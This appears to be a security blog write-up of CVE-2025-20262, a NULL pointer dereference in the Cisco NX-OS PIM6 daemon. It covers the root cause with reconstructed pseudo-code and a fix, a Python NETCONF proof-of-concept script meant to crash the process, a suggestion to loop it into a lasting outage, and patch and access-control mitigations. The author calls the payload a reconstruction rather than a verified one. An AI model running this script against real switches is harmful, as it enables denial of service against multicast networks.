Ghost in the Machine: Crashing Cisco Nexus PIM6 with Ephemeral Queries

Modern network switches aren't just dumb pipes anymore; they are complex Linux servers wearing a masquerade of ASICs. They run dozens of daemons, expose programmable APIs (gRPC, NETCONF, RESTConf), and maintain massive state tables in memory. One of those daemons is the PIM6 process (Protocol Independent Multicast for IPv6). Its job is to build distribution trees so that when a stock ticker or a video stream is broadcast, it gets to the right subscribers without flooding the entire network.

But here's the catch: maintaining state is hard. In Cisco NX-OS, there is a distinction between "Configuration" (what you typed into the CLI) and "Ephemeral Data" (the live, operational state of the network). Ephemeral data includes things like current neighbor uptime, packet counters, and calculated routes. This data is fleeting, constantly changing, and stored in dynamic memory structures.

CVE-2025-20262 arises because the PIM6 process exposes this raw, volatile nerve ending to the management plane. By sending a specific query for this ephemeral data, an attacker can trick the process into looking for a memory structure that doesn't exist. It's the digital equivalent of asking a librarian for a book that hasn't been written yet, causing them to suffer an existential crisis and collapse on the floor.

The root cause here is CWE-476: NULL Pointer Dereference. In C and C++, which power the vast majority of network infrastructure, pointers are variables that hold memory addresses. When you want to access a piece of data (like a PIM neighbor's IP address), you follow the pointer to that location in memory. If that pointer is set to NULL (0x0) and you try to read from it, the CPU raises a segmentation fault (SIGSEGV), and the OS kills the process immediately to prevent data corruption.

In the context of this vulnerability, the flaw lies in how the PIM6 process handles queries for ephemeral data via the management interfaces (XML, JSON, or gRPC). When a request comes in—say, "Show me the status of Neighbor X"—the software parses the request and attempts to walk a linked list or hash table to find the corresponding data structure in memory.

Here is the logic failure: The code assumes that if the query is syntactically valid, the underlying data structure must exist and be reachable. It likely retrieves a pointer to a PIM interface or a neighbor state machine but fails to check if that pointer is valid before dereferencing it. If the interface is in a transitional state (flapping) or if the query targets a specific edge-case state, the pointer comes back NULL. The code doesn't check. It dereferences. The process dies.

Since Cisco NX-OS is closed-source, we don't have the exact diff. However, based on the behavior described in the advisory and standard patterns for this bug class in network daemons, we can reconstruct the vulnerability with high confidence. The vulnerability exists in the "getter" functions used by the management plane to serialize internal state into API responses.

The Vulnerable Logic (Pseudo-code)

Imagine a function responsible for fetching PIM6 neighbor statistics for an API response:

void serialize_pim6_neighbor_stats(ResponseBuilder* resp, char* iface_name) {
    // Step 1: Lookup the interface object
    Interface* iface = get_interface_by_name(iface_name);
    
    // VULNERABILITY: Missing check for iface != NULL
    // If the attacker queries a non-existent or initializing interface,
    // 'iface' could be NULL.
 
    // Step 2: Access the PIM context on that interface
    PimContext* pim_ctx = iface->pim6_context; // <--- CRASH HERE (Dereferencing NULL)
 
    // Further logic usually assumes pim_ctx is also valid
    resp->add("uptime", pim_ctx->uptime);
}

The Fix

The remediation is boring but essential: paranoid validation. Every pointer retrieval must be checked before use.

void serialize_pim6_neighbor_stats(ResponseBuilder* resp, char* iface_name) {
    Interface* iface = get_interface_by_name(iface_name);
    
    // FIX: Check if the interface exists
    if (iface == NULL) {
        resp->set_error("Interface not found");
        return;
    }
 
    PimContext* pim_ctx = iface->pim6_context;
    
    // FIX: Check if PIM is actually enabled/active on this interface
    if (pim_ctx == NULL) {
        resp->set_error("PIM6 not enabled on interface");
        return;
    }
 
    resp->add("uptime", pim_ctx->uptime);
}

It is startling how often "Enterprise Grade" simply means "We wrote it in C and didn't check the return values."

To exploit this, we don't need to be root. We just need to be a user with enough privilege to query the management API. In many organizations, "read-only" access is handed out like candy to monitoring scripts, junior admins, and telemetry collectors. That's all we need.

The Attack Vector

The attack leverages the NETCONF or gRPC interface. These interfaces allow structured queries for operational data. The goal is to craft a <get> request that asks for PIM6 operational state regarding an object that is in a NULL state.

Proof of Concept (Python/NETCONF)

from ncclient import manager
 
# Target details
HOST = '192.168.1.1'
USER = 'monitor_user' # Low privilege account
PASS = 'monitor_pass'
 
# The payload: A specific query for ephemeral PIM6 state.
# We might target a specific VRF or a non-existent interface structure
# that the parser fails to validate.
payload = """
<filter>
  <pim6-items xmlns="http://cisco.com/ns/yang/Cisco-NX-OS-device-pkg">
    <inst-items>
      <dom-items>
        <Dom-list>
            <!-- Querying deep into the structure to force traversal -->
            <if-items>
                <If-list>
                    <ifName>ETH_NULL_POINTER_TRIGGER</ifName>
                </If-list>
            </if-items>
        </Dom-list>
      </dom-items>
    </inst-items>
  </pim6-items>
</filter>
"""
 
try:
    with manager.connect(host=HOST, port=830, username=USER, password=PASS, hostkey_verify=False) as m:
        print("[+] Sending malicious ephemeral data query...")
        # This get request forces the PIM6 daemon to walk the memory structures
        m.get(filter=payload)
except Exception as e:
    print(f"[-] Connection dropped. Target likely crashed: {e}")

When this script runs, the switch receives the XML, parses it, and dispatches the request to the PIM6 component. The component tries to fetch the data for the requested node, hits the NULL pointer, and the pim6 process aborts.

On the switch CLI, you'd see a syslog message: %SYSMGR-2-SERVICE_CRASHED: Service "pim6" (PID 12345) hasn't caught signal 11 (core dumped).

You might be thinking, "So what? The process restarts in 5 seconds. Who cares?" You should care. In networking, state is everything.

When the PIM6 process crashes:

1. Adjacency Loss: All PIM neighbors (other routers) stop receiving Hello packets. They declare the neighbor dead.
2. Tree Teardown: The multicast distribution trees (SPT and RPT) are torn down. Traffic stops flowing.
3. Reconvergence Storm: When the process comes back up 10 seconds later, it has to re-learn everything. It floods the network with PIM Joins and Prunes. The CPU spikes.
4. Application Failure: For a video stream, this is a 30-second black screen. For financial data, it's millions of dollars in missed ticks. For a hospital network, it's critical telemetry lost.

If an attacker puts this in a loop (while True: crash_pim6()), they can create a permanent denial of service for all IPv6 multicast traffic on the network segment. It is a highly effective, low-bandwidth attack against infrastructure availability.

Cisco has released patches for the affected NX-OS trains (9.3, 10.1, 10.2, 10.3, 10.4, 10.5). If you are running Nexus 3000 or 9000 switches in standalone mode, you need to upgrade.

There are no workarounds. You cannot simply "disable" ephemeral data queries without breaking the legitimate management functionality that your monitoring tools rely on.

Strategic Mitigation

Beyond the patch, this vulnerability highlights the danger of over-privileged management accounts.

1. ACLs: Restrict access to port 830 (NETCONF), 50051 (gRPC), and 443 (RESTConf) to only trusted management subnets. A developer's laptop should not be able to send gRPC requests to the core router.
2. RBAC: Re-evaluate why a "read-only" user needs access to deep protocol state. If possible, restrict the YANG models that low-privileged users can query, although NX-OS RBAC granularity can be tricky in this regard.

> [!NOTE] > This vulnerability affects the management plane, but the impact is on the control plane (PIM6 routing). This cross-domain impact is what makes it dangerous.